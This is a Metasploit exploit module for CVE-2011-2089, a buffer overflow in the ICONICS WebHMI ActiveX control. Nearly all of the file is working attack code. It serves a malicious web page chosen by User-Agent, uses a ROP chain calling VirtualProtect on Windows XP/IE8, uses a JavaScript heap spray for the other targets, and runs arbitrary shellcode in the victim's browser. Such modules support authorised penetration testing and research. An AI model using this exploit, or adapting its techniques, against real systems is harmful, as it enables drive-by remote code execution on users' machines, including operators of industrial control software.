##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ICONICS WebHMI ActiveX Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
        By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
        fails to do any proper bounds checking before this input is copied onto the stack,
        which causes a buffer overflow, and results arbitrary code execution under the context
        of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Scoot Bell <scott.bell[at]security-assessment.com>',
          'Blair Strang <blair.strang[at]security-assessment.com>',
          'sinn3r',  #Metasploit port
        ],
      'References'     =>
        [
          ['CVE', '2011-2089'],
          ['OSVDB', '72135'],
          ['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
          ['EDB', '17240'],
          ['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-080-02.pdf']
        ],
      'Payload'        =>
        {
          'BadChars'         => "\x00",
          'StackAdjustment'  => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Automatic', {}
          ],
          [
            'IE 6/7/8 on Windows XP SP3',
            {
              'Offset'       => 510,         #Offset to where ROP gadgets begin
              'Ret'          => 0x770167b0,  #PUSH ESP; POP EBP; RETN 8
              'Max'          => 4500,        #Max buffer size used
            },
          ],
          [
            'IE 7 on Windows Vista',
            {
              'Ret'          => 0x0c0c0c0c,  #Target spray
              'blockSize'    => "0x1000",
              'spraySize'    => "0x8500",
              'Max'          => 4500,
            },
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 5 2011",
      'DefaultTarget'  => 0))
  end

  def junk
    return rand_text(4).unpack("L")[0].to_i
  end

  def repeat(addr, rep)
    arr = []
    rep.times { arr << addr }
    return arr
  end

  def on_request_uri(cli, request)

    my_target = ''
    agent = request.headers['User-Agent']

    if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
      my_target = targets[2]
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
      my_target = targets[2]
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      my_target = targets[1]
    else
      send_not_found(cli)
      print_error("Unknown User-Agent")
      return
    end

    js = ''
    sploit = ''

    if my_target['spraySize'] == nil

      #ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
      #to the service pack (non or fully patched)

      rop_gadgets = [
        my_target.ret,
        junk,
        0x7e45c67f,              #XCHG EAX,EBP; RETN (USER32.dll)
        repeat(junk, 2),
        0x7e440639,              #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
        0x7c801ad4,              #Kernel32.VirtualProtect
        junk,                    #Initial ESP + 8 p1 = retaddr
        junk,                    #p2 - lpaddr
        junk,                    #p3 - size
        junk,                    #p4 - perms
        junk,                    #p5 - oldperms
        junk,
        #Return address
        0x7e4462ed,              #XCHG EAX,ECX; RETN (USER32.dll)
        0x7c902b50,              #MOV EDX, ECX; RETN (ntdll.dll)
        repeat(0x77aa2d96, 20),  #INC ECX * 21 (CRYPT32.dll)
        0x7c901726,              #MOV EAX, EDX; RETN (ntdll.dll)
        repeat(0x5b86a17b, 2),   #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
        repeat(0x77c34fbd, 2),   #ADD EAX,5C; RETN * 2 (msvcrt.dll)
        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
        #Shellcode pointer
        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
        #Size  (0x400 bytes)
        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
        0x7e721a99,              #POP EAX; RETN (SXS.dll)
        0x3BFFF9CB,              #Value to XOR
        0x7e7560b5,              #XOR EAX,3bfffdcb (SXS.dll)
        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
        #NewProtect
        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
        0x7E456160,              #XOR EAX,EAX; RETN (USER32.dll)
        0x7E4193BA,              #ADD AL,3B (USER32.dll)
        repeat(0x7E442074, 5),   #INC EAX; RETN (USER32.dll)
        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
        #OldProtect
        repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
        0x7e721a99,              #POP EAX (SXS.dll)
        0x10010570,              #EAX (Wriable memory)
        0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
        #Call VirtualProtect
        repeat(0x7E421AAF, 20),  #DEC ECX; RETN (USER32.dll)
        0x7E4462ED,              #XCHG EAX,ECX; RETN (USER32.dll)
        0x7E45F257,              #XCHG EAX,ESP; RETN (USER32.dll)
        repeat(junk, 2),         #Align shellcode
        ].flatten.pack('V*')

        sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
        sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
        sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
        sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
        sploit << rand_text_alpha(my_target['Max']-sploit.length)

    else

      #If we don't have to ROP, then we just spray against the rest of the targets

      shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
      target_ret = [my_target.ret].pack('V')
      nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
      sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))

      js_func_name        = rand_text_alpha(rand(6) + 3)
      js_var_blocks_name  = rand_text_alpha(rand(6) + 3)
      js_var_shell_name   = rand_text_alpha(rand(6) + 3)
      js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
      js_var_index_name   = rand_text_alpha(rand(6) + 3)

      js = <<-EOS
      <script>
      function #{js_func_name}() {
        var #{js_var_blocks_name} = new Array();
        var #{js_var_shell_name} = unescape("#{shellcode}");
        var #{js_var_nopsled_name} = unescape("#{nops}");
        while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
        for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
          #{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
        }
      }
      #{js_func_name}();
      </script>
      EOS

    end

    obj_id      = rand_text_alpha(rand(6) + 3)
    sploit_name = rand_text_alpha(rand(6) + 3)

    html = <<-EOS
    <html>
    <head>#{js}</head>
    <body>
    <object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
    <script>
    var #{sploit_name} = unescape("#{sploit}");
    #{obj_id}.SetActiveXGUID(#{sploit_name});
    </script>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, "")

    print_status("Sending malicious page")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end
end
